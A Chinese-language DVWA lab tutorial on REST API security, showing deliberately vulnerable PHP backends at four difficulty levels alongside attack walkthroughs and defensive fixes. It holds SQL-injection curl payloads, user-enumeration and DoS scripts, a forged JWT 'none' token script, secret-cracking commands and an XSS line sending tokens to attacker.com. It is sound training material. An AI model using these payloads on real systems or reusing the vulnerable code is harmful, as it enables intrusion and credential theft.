0%

DVWA - API (应用程序接口) 攻防练习详解

目录


漏洞简介

什么是API安全漏洞?

API(Application Programming Interface)安全漏洞是指RESTful API、GraphQL API、SOAP API等接口中存在的安全问题,可能导致数据泄露、未授权访问或系统被攻击。

API的类型:

1. REST API

使用HTTP方法操作资源:

1
2
3
4
GET    /api/users/123      # 获取用户
POST /api/users # 创建用户
PUT /api/users/123 # 更新用户
DELETE /api/users/123 # 删除用户

2. GraphQL API

使用查询语言获取数据:

1
2
3
4
5
6
7
8
9
query {
user(id: 123) {
name
email
posts {
title
}
}
}

3. SOAP API

基于XML的协议:

1
2
3
4
5
6
7
<soap:Envelope>
<soap:Body>
<GetUser>
<UserId>123</UserId>
</GetUser>
</soap:Body>
</soap:Envelope>

OWASP API Security Top 10 (2023):

排名 漏洞 描述
API1 对象级别授权失效 访问他人数据
API2 认证机制失效 弱认证
API3 对象属性级别授权失效 修改敏感字段
API4 资源消耗无限制 DoS攻击
API5 功能级别授权失效 越权操作
API6 批量赋值 修改额外字段
API7 配置错误 暴露敏感信息
API8 注入攻击 SQL/NoSQL注入
API9 资产管理不当 旧版本API
API10 API日志和监控不足 无法检测攻击

危害:

  • 数据泄露
  • 未授权访问
  • 账户接管
  • DoS攻击
  • 业务逻辑绕过

DVWA场景:
一个用户管理的REST API,提供CRUD操作。


Low 难度

攻击目标

完全不验证权限,任何人都可以访问和修改任何数据。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?php

// ★★★ Low难度:完全没有认证和授权 ★★★

// 设置JSON响应头
header('Content-Type: application/json');

// 获取HTTP方法
$method = $_SERVER['REQUEST_METHOD'];

// 获取请求路径
$path = $_SERVER['PATH_INFO'] ?? '';

// ★★★ 危险操作1:不检查认证 ★★★
// 任何人都可以访问API
// 没有API密钥、Token或其他认证机制

// ★★★ 危险操作2:不检查授权 ★★★
// 没有验证用户是否有权限操作数据

// 路由:GET /api/users - 获取所有用户
if ($method == 'GET' && $path == '/users') {

// ★★★ 问题:返回所有用户信息,包括敏感数据 ★★★
$query = "SELECT * FROM users";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

$users = [];
while ($row = mysqli_fetch_assoc($result)) {
// ★★★ 问题:返回密码哈希 ★★★
$users[] = $row;
}

echo json_encode([
'success' => true,
'data' => $users
]);

// 路由:GET /api/users/{id} - 获取单个用户
} elseif ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 问题:不检查是否有权查看该用户 ★★★
$query = "SELECT * FROM users WHERE user_id = '$userId'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if ($row = mysqli_fetch_assoc($result)) {
echo json_encode([
'success' => true,
'data' => $row
]);
} else {
echo json_encode([
'success' => false,
'error' => 'User not found'
]);
}

// 路由:POST /api/users - 创建用户
} elseif ($method == 'POST' && $path == '/users') {

// ★★★ 问题:任何人都可以创建用户 ★★★
// 没有限流,可以创建大量垃圾账户

$input = json_decode(file_get_contents('php://input'), true);

$username = $input['username'] ?? '';
$password = $input['password'] ?? '';
$email = $input['email'] ?? '';

// ★★★ 问题:直接拼接SQL,存在SQL注入 ★★★
$query = "INSERT INTO users (user, password, email) VALUES ('$username', '" . md5($password) . "', '$email')";

if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
echo json_encode([
'success' => true,
'message' => 'User created',
'user_id' => mysqli_insert_id($GLOBALS["___mysqli_ston"])
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to create user'
]);
}

// 路由:PUT /api/users/{id} - 更新用户
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];
$input = json_decode(file_get_contents('php://input'), true);

// ★★★ 问题:任何人都可以修改任何用户 ★★★
// 没有验证是否是用户本人或管理员

// ★★★ 问题:批量赋值漏洞 ★★★
// 可以修改任意字段,包括role、is_admin等
$fields = [];
foreach ($input as $key => $value) {
// ★★★ 问题:直接拼接,SQL注入 ★★★
$fields[] = "$key = '$value'";
}

$query = "UPDATE users SET " . implode(', ', $fields) . " WHERE user_id = '$userId'";

if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
echo json_encode([
'success' => true,
'message' => 'User updated'
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to update user'
]);
}

// 路由:DELETE /api/users/{id} - 删除用户
} elseif ($method == 'DELETE' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 问题:任何人都可以删除任何用户 ★★★
$query = "DELETE FROM users WHERE user_id = '$userId'";

if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
echo json_encode([
'success' => true,
'message' => 'User deleted'
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to delete user'
]);
}

} else {
// 404
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'Endpoint not found'
]);
}

?>

漏洞分析

核心问题:

  1. 无认证 - 任何人都可以访问
  2. 无授权 - 不检查权限
  3. SQL注入 - 直接拼接SQL
  4. 批量赋值 - 可修改任意字段
  5. 敏感信息泄露 - 返回密码哈希
  6. 无限流 - 可以DoS攻击
  7. 详细错误信息 - 泄露系统信息

攻击步骤

步骤1:API枚举

发现API端点:

1
2
3
4
5
6
7
8
# 使用curl测试
curl -X GET http://dvwa.local/api/users
curl -X GET http://dvwa.local/api/users/1
curl -X POST http://dvwa.local/api/users
curl -X PUT http://dvwa.local/api/users/1
curl -X DELETE http://dvwa.local/api/users/1

# 使用Postman或Insomnia测试

使用工具发现API:

1
2
3
4
5
6
7
# 使用gobuster
gobuster dir -u http://dvwa.local/api/ \
-w /usr/share/wordlists/api-endpoints.txt

# 使用ffuf
ffuf -u http://dvwa.local/api/FUZZ \
-w /usr/share/wordlists/api-endpoints.txt

步骤2:数据枚举

获取所有用户:

1
curl -X GET http://dvwa.local/api/users

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"success": true,
"data": [
{
"user_id": "1",
"user": "admin",
"password": "5f4dcc3b5aa765d61d8327deb882cf99",
"first_name": "admin",
"last_name": "admin",
"email": "admin@example.com"
},
{
"user_id": "2",
"user": "user1",
"password": "098f6bcd4621d373cade4e832627b4f6",
"email": "user1@example.com"
}
]
}

枚举用户ID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

base_url = "http://dvwa.local/api/users"

print("[*] Enumerating users...")

for user_id in range(1, 100):
response = requests.get(f"{base_url}/{user_id}")

if response.status_code == 200:
data = response.json()
if data.get('success'):
user = data.get('data', {})
print(f"[+] Found user {user_id}: {user.get('user')}")
print(f" Email: {user.get('email')}")
print(f" Password hash: {user.get('password')}")

步骤3:未授权访问

查看其他用户数据:

1
2
3
4
# 查看admin用户
curl -X GET http://dvwa.local/api/users/1

# 结果:可以看到admin的所有信息,包括密码哈希

步骤4:SQL注入

在用户名中注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# SQL注入payload
curl -X POST http://dvwa.local/api/users \
-H "Content-Type: application/json" \
-d '{
"username": "admin'\'' OR '\''1'\''='\''1",
"password": "password",
"email": "test@example.com"
}'

# 或使用UNION注入
curl -X POST http://dvwa.local/api/users \
-H "Content-Type: application/json" \
-d '{
"username": "test'\'' UNION SELECT * FROM admin_table --",
"password": "password",
"email": "test@example.com"
}'

步骤5:批量赋值攻击

修改用户角色:

1
2
3
4
5
6
7
8
9
10
11
# 提升普通用户为管理员
curl -X PUT http://dvwa.local/api/users/5 \
-H "Content-Type: application/json" \
-d '{
"user": "hacker",
"role": "admin",
"is_admin": 1,
"privileges": "all"
}'

# 结果:成功修改role和is_admin字段

步骤6:删除用户

1
2
3
4
# 删除管理员账户
curl -X DELETE http://dvwa.local/api/users/1

# 结果:管理员账户被删除

步骤7:DoS攻击

创建大量用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import concurrent.futures

base_url = "http://dvwa.local/api/users"

def create_fake_user(i):
data = {
'username': f'fake_user_{i}',
'password': 'password',
'email': f'fake_{i}@example.com'
}
response = requests.post(base_url, json=data)
return response.status_code

# 使用多线程创建1000个用户
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(create_fake_user, i) for i in range(1000)]

for future in concurrent.futures.as_completed(futures):
print(f"Created user: {future.result()}")

Medium 难度

攻击目标

添加了简单的API密钥认证,但仍有漏洞。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?php

header('Content-Type: application/json');

// ★★★ 新增:API密钥认证 ★★★
// 从请求头获取API密钥
// X-API-Key - 自定义请求头
$apiKey = $_SERVER['HTTP_X_API_KEY'] ?? '';

// ★★★ 问题:硬编码的API密钥 ★★★
// 密钥写死在代码中
// 而且只有一个密钥,所有用户共享
$validApiKey = 'dvwa_api_key_12345';

// ★★★ 验证API密钥 ★★★
if ($apiKey !== $validApiKey) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Invalid API key'
]);
exit;
}

// ★★★ 新增:简单的限流 ★★★
// 但实现有问题
function check_rate_limit($api_key) {
// 使用文件存储请求计数
$file = "/tmp/api_rate_limit_$api_key.txt";

// ★★★ 问题:文件锁不安全 ★★★
if (file_exists($file)) {
$data = json_decode(file_get_contents($file), true);

// 检查过去60秒的请求数
if (time() - $data['timestamp'] < 60) {
if ($data['count'] >= 100) {
return false; // 超过限制
}
$data['count']++;
} else {
// 重置计数
$data = ['timestamp' => time(), 'count' => 1];
}
} else {
$data = ['timestamp' => time(), 'count' => 1];
}

file_put_contents($file, json_encode($data));
return true;
}

if (!check_rate_limit($apiKey)) {
http_response_code(429);
echo json_encode([
'success' => false,
'error' => 'Rate limit exceeded'
]);
exit;
}

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// ★★★ 新增:使用PDO预编译 ★★★
// 防止SQL注入
global $db; // PDO连接

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 改进:使用PDO预编译 ★★★
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
// ★★★ 改进:不返回密码哈希 ★★★
echo json_encode([
'success' => true,
'data' => $user
]);
} else {
echo json_encode([
'success' => false,
'error' => 'User not found'
]);
}

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];
$input = json_decode(file_get_contents('php://input'), true);

// ★★★ 问题:仍然没有授权检查 ★★★
// 任何有API密钥的人都可以修改任何用户

// ★★★ 改进:字段白名单 ★★★
// 只允许修改特定字段
$allowedFields = ['first_name', 'last_name', 'email'];

$updates = [];
$params = [':id' => $userId];

foreach ($input as $key => $value) {
if (in_array($key, $allowedFields)) {
$updates[] = "$key = :$key";
$params[":$key"] = $value;
}
}

if (empty($updates)) {
echo json_encode([
'success' => false,
'error' => 'No valid fields to update'
]);
exit;
}

$query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
$stmt = $db->prepare($query);

if ($stmt->execute($params)) {
echo json_encode([
'success' => true,
'message' => 'User updated'
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to update user'
]);
}

} else {
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'Endpoint not found'
]);
}

?>

新增防护

  1. API密钥认证 - 需要密钥才能访问
  2. 限流机制 - 防止DoS攻击
  3. PDO预编译 - 防止SQL注入
  4. 字段白名单 - 限制可修改字段
  5. 不返回密码 - 敏感信息保护

仍存在的漏洞

核心问题:

  1. 硬编码API密钥 - 所有用户共享
  2. 无授权检查 - 有密钥就能操作所有数据
  3. 限流实现弱 - 文件锁不安全
  4. 无用户上下文 - 不知道谁在操作

绕过方法

方法1:获取API密钥

从客户端代码获取:

1
2
3
4
5
6
7
8
9
10
11
// 如果前端代码中硬编码了API密钥
const API_KEY = 'dvwa_api_key_12345';

fetch('/api/users/1', {
headers: {
'X-API-Key': API_KEY
}
});

// 查看浏览器开发者工具 → Network → Headers
// 可以看到X-API-Key

从文档获取:

1
2
3
# 如果API文档公开
curl -X GET http://dvwa.local/api/users/1 \
-H "X-API-Key: dvwa_api_key_12345"

方法2:绕过限流

使用多个API密钥(如果有):

1
2
3
4
5
api_keys = ['key1', 'key2', 'key3']

for i in range(1000):
key = api_keys[i % len(api_keys)]
requests.get(url, headers={'X-API-Key': key})

竞态条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 同时发送多个请求
import threading

def make_request():
requests.get(url, headers={'X-API-Key': api_key})

threads = []
for i in range(200):
t = threading.Thread(target=make_request)
t.start()
threads.append(t)

for t in threads:
t.join()

方法3:越权访问

1
2
3
4
5
6
7
# 修改其他用户数据(有密钥即可)
curl -X PUT http://dvwa.local/api/users/1 \
-H "X-API-Key: dvwa_api_key_12345" \
-H "Content-Type: application/json" \
-d '{"email": "hacked@evil.com"}'

# 结果:成功修改admin的邮箱

High 难度

攻击目标

使用JWT Token和更严格的权限检查,但仍有绕过可能。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<?php

header('Content-Type: application/json');

// ★★★ 新增:JWT Token认证 ★★★
// 从Authorization头获取Token
// Bearer token格式
$authHeader = $_SERVER['HTTP_AUTHORIZATION'] ?? '';

if (!preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Missing or invalid authorization header'
]);
exit;
}

$token = $matches[1];

// ★★★ JWT验证 ★★★
function verify_jwt($token) {
// JWT格式:header.payload.signature

$parts = explode('.', $token);

if (count($parts) !== 3) {
return false;
}

list($header_b64, $payload_b64, $signature_b64) = $parts;

// ★★★ 问题:密钥硬编码 ★★★
$secret = 'my_jwt_secret_key';

// 验证签名
$signature_check = hash_hmac(
'sha256',
$header_b64 . '.' . $payload_b64,
$secret,
true
);

$signature_check_b64 = rtrim(strtr(base64_encode($signature_check), '+/', '-_'), '=');

if ($signature_check_b64 !== $signature_b64) {
return false;
}

// 解码payload
$payload = json_decode(base64_decode(strtr($payload_b64, '-_', '+/')), true);

// ★★★ 改进:检查过期时间 ★★★
if (isset($payload['exp']) && $payload['exp'] < time()) {
return false; // Token已过期
}

return $payload;
}

$payload = verify_jwt($token);

if (!$payload) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Invalid or expired token'
]);
exit;
}

// 从payload获取用户信息
$currentUserId = $payload['user_id'];
$currentUserRole = $payload['role'];

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 改进:权限检查 ★★★
// 普通用户只能查看自己
// 管理员可以查看所有用户
if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Forbidden: You can only view your own data'
]);
exit;
}

// 查询用户
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email, role FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
echo json_encode([
'success' => true,
'data' => $user
]);
} else {
echo json_encode([
'success' => false,
'error' => 'User not found'
]);
}

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];
$input = json_decode(file_get_contents('php://input'), true);

// ★★★ 权限检查 ★★★
if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Forbidden: You can only update your own data'
]);
exit;
}

// ★★★ 字段白名单(根据角色) ★★★
$allowedFields = ['first_name', 'last_name', 'email'];

// ★★★ 问题:管理员可以修改role ★★★
// 但没有检查是否在修改自己的role
if ($currentUserRole === 'admin') {
$allowedFields[] = 'role';
}

$updates = [];
$params = [':id' => $userId];

foreach ($input as $key => $value) {
if (in_array($key, $allowedFields)) {
$updates[] = "$key = :$key";
$params[":$key"] = $value;
}
}

if (empty($updates)) {
echo json_encode([
'success' => false,
'error' => 'No valid fields to update'
]);
exit;
}

$query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
$stmt = $db->prepare($query);

if ($stmt->execute($params)) {
echo json_encode([
'success' => true,
'message' => 'User updated'
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to update user'
]);
}

} else {
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'Endpoint not found'
]);
}

?>

新增防护

  1. JWT Token认证 - 基于Token的认证
  2. Token过期 - 限制Token有效期
  3. 角色授权 - 根据角色限制访问
  4. 资源所有权 - 只能访问自己的数据

仍存在的漏洞

核心问题:

  1. JWT密钥硬编码 - 可能被获取
  2. 算法混淆攻击 - none算法绕过
  3. 权限检查逻辑漏洞 - 管理员可以修改自己为超级管理员

绕过方法

方法1:JWT算法混淆攻击

None算法攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
import json

# 创建header(指定算法为none)
header = {
"alg": "none",
"typ": "JWT"
}

# 创建payload
payload = {
"user_id": 1,
"role": "admin",
"exp": 9999999999
}

# Base64编码
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')

# 构造Token(无签名)
fake_token = f"{header_b64}.{payload_b64}."

print(f"Fake token: {fake_token}")

# 使用这个Token访问API

方法2:暴力破解JWT密钥

1
2
3
4
5
# 使用jwt_tool
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# 或使用hashcat
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt

方法3:Token劫持

1
2
3
4
5
// 如果Token存储在localStorage
console.log(localStorage.getItem('jwt_token'));

// 通过XSS窃取Token
fetch('http://attacker.com/steal?token=' + localStorage.getItem('jwt_token'));

Impossible 难度

攻击目标

完善的API安全,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
<?php

header('Content-Type: application/json');

// ★★★ Impossible: 完善的API安全 ★★★

// ★★★ 核心防护1:OAuth 2.0认证 ★★★
// 使用标准的OAuth 2.0协议
// 从Authorization头获取Access Token
$authHeader = $_SERVER['HTTP_AUTHORIZATION'] ?? '';

if (!preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Missing or invalid authorization header'
]);
exit;
}

$accessToken = $matches[1];

// ★★★ 验证Access Token ★★★
// 通过OAuth 2.0服务器验证Token
function verify_access_token($token) {
// 调用OAuth 2.0服务器的introspection endpoint
$oauth_server = 'https://oauth.example.com/introspect';

$response = file_get_contents($oauth_server, false, stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query(['token' => $token])
]
]));

$data = json_decode($response, true);

// 检查Token是否有效
if (!$data['active']) {
return false;
}

return $data;
}

$tokenData = verify_access_token($accessToken);

if (!$tokenData) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Invalid or expired access token'
]);
exit;
}

$currentUserId = $tokenData['user_id'];
$currentUserRole = $tokenData['role'];
$scopes = $tokenData['scope'] ?? [];

// ★★★ 核心防护2:基于Scope的权限 ★★★
// 检查Token是否有所需的权限范围
function has_scope($required_scope, $token_scopes) {
return in_array($required_scope, $token_scopes);
}

// ★★★ 核心防护3:严格的限流 ★★★
// 使用Redis实现分布式限流
function check_rate_limit_redis($user_id) {
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

$key = "api_rate_limit:user:$user_id";

// 滑动窗口限流
$current = time();
$window = 60; // 60秒窗口
$limit = 100; // 最多100次请求

// 移除窗口外的请求
$redis->zRemRangeByScore($key, 0, $current - $window);

// 获取当前窗口内的请求数
$count = $redis->zCard($key);

if ($count >= $limit) {
return false;
}

// 记录当前请求
$redis->zAdd($key, $current, uniqid());
$redis->expire($key, $window);

return true;
}

if (!check_rate_limit_redis($currentUserId)) {
http_response_code(429);
echo json_encode([
'success' => false,
'error' => 'Rate limit exceeded',
'retry_after' => 60
]);
exit;
}

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 核心防护4:Scope检查 ★★★
if (!has_scope('users:read', $scopes)) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Insufficient permissions: users:read scope required'
]);
exit;
}

// ★★★ 核心防护5:严格的授权检查 ★★★
if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Forbidden: You can only view your own data'
]);

// ★★★ 记录未授权访问尝试 ★★★
logSecurityEvent('Unauthorized API access', [
'user_id' => $currentUserId,
'target_user_id' => $userId,
'endpoint' => $path,
'method' => $method,
'ip' => $_SERVER['REMOTE_ADDR']
]);

exit;
}

// 查询用户(只返回必要字段)
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
// ★★★ 记录API访问 ★★★
logAPIAccess($currentUserId, 'GET', $path, 200);

echo json_encode([
'success' => true,
'data' => $user
]);
} else {
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'User not found'
]);
}

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];
$input = json_decode(file_get_contents('php://input'), true);

// ★★★ Scope检查 ★★★
if (!has_scope('users:write', $scopes)) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Insufficient permissions: users:write scope required'
]);
exit;
}

// ★★★ 授权检查 ★★★
if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Forbidden: You can only update your own data'
]);
exit;
}

// ★★★ 输入验证 ★★★
$allowedFields = ['first_name', 'last_name', 'email'];

// ★★★ 管理员也不能修改role(需要特殊权限) ★★★
if ($currentUserRole === 'admin' && has_scope('users:admin', $scopes)) {
$allowedFields[] = 'role';
}

$updates = [];
$params = [':id' => $userId];

foreach ($input as $key => $value) {
if (in_array($key, $allowedFields)) {
// ★★★ 额外验证 ★★★
if ($key === 'email' && !filter_var($value, FILTER_VALIDATE_EMAIL)) {
http_response_code(400);
echo json_encode([
'success' => false,
'error' => 'Invalid email format'
]);
exit;
}

$updates[] = "$key = :$key";
$params[":$key"] = $value;
}
}

if (empty($updates)) {
http_response_code(400);
echo json_encode([
'success' => false,
'error' => 'No valid fields to update'
]);
exit;
}

$query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
$stmt = $db->prepare($query);

if ($stmt->execute($params)) {
logAPIAccess($currentUserId, 'PUT', $path, 200);

echo json_encode([
'success' => true,
'message' => 'User updated'
]);
} else {
http_response_code(500);
echo json_encode([
'success' => false,
'error' => 'Failed to update user'
]);
}

} else {
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'Endpoint not found'
]);
}

?>

完善的防护机制

多层防御:

  1. OAuth 2.0认证 - 标准认证协议
  2. Scope权限 - 细粒度权限控制
  3. 分布式限流 - Redis滑动窗口
  4. 严格授权 - 每个操作都检查
  5. 输入验证 - 验证所有输入
  6. 审计日志 - 记录所有操作
  7. 错误不泄露 - 统一错误信息
  8. PDO预编译 - 防止SQL注入

安全流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
API请求

1. 验证OAuth Access Token

2. 检查Token是否有效

3. 检查Scope权限

4. 检查限流

5. 验证资源所有权

6. 验证输入

7. 执行操作

8. 记录审计日志

9. 返回响应

为什么无法攻破?

所有攻击都失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
攻击1:无Token访问
结果:401 Unauthorized

攻击2:伪造Token
OAuth服务器验证 → 失败 → 拒绝

攻击3:越权访问
Scope检查 + 所有权检查 → 拒绝

攻击4:批量赋值
字段白名单 → 只允许特定字段

攻击5DoS攻击
Redis限流 → 超过限制 → 429 Too Many Requests

攻击6:SQL注入
PDO预编译 → 无法注入

防御建议

认证和授权

1
2
3
4
5
6
7
8
9
// ✅ 使用OAuth 2.0或OpenID Connect
// ✅ 使用JWT但签名验证严格
// ✅ 使用Scope控制细粒度权限
// ✅ 每个endpoint都检查权限

// ❌ 不要:
// - 硬编码API密钥
// - 使用简单的API密钥认证
// - 不检查授权

限流和DoS防护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 使用Redis限流
function rate_limit($user_id, $limit, $window) {
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

$key = "rate:$user_id";
$current = $redis->incr($key);

if ($current == 1) {
$redis->expire($key, $window);
}

return $current <= $limit;
}

输入验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 验证所有输入
function validate_user_input($data) {
$errors = [];

if (!filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
$errors[] = 'Invalid email';
}

if (strlen($data['username']) < 3) {
$errors[] = 'Username too short';
}

return $errors;
}

审计日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function log_api_access($user_id, $method, $path, $status) {
$log = [
'timestamp' => date('Y-m-d H:i:s'),
'user_id' => $user_id,
'method' => $method,
'path' => $path,
'status' => $status,
'ip' => $_SERVER['REMOTE_ADDR']
];

file_put_contents(
'/var/log/api_access.log',
json_encode($log) . "\n",
FILE_APPEND
);
}

总结对比

特性 Low Medium High Impossible
认证 ❌ 无 API密钥 JWT OAuth 2.0
授权 ❌ 无 ❌ 无 基于角色 Scope+角色
限流 简单文件 Redis分布式
SQL注入防护 ✅ PDO ✅ PDO ✅ PDO
批量赋值防护 白名单 白名单 严格白名单
审计日志 ✅ 完善
敏感信息 泄露 部分保护 保护 完全保护
攻击难度 极易 简单 中等 极难

实战建议

渗透测试清单:

  1. ✅ 发现所有API端点
  2. ✅ 测试无认证访问
  3. ✅ 枚举用户ID
  4. ✅ 测试越权访问
  5. ✅ 测试批量赋值
  6. ✅ 测试SQL注入
  7. ✅ 测试限流
  8. ✅ JWT破解

防御清单:

  1. ✅ 使用OAuth 2.0
  2. ✅ 实施Scope权限
  3. ✅ 严格授权检查
  4. ✅ 分布式限流
  5. ✅ 输入验证
  6. ✅ 完善审计日志
  7. ✅ API版本管理
  8. ✅ 使用API网关

道德准则:

  • 只在授权环境测试
  • 不攻击真实API
  • 学习是为了构建安全API
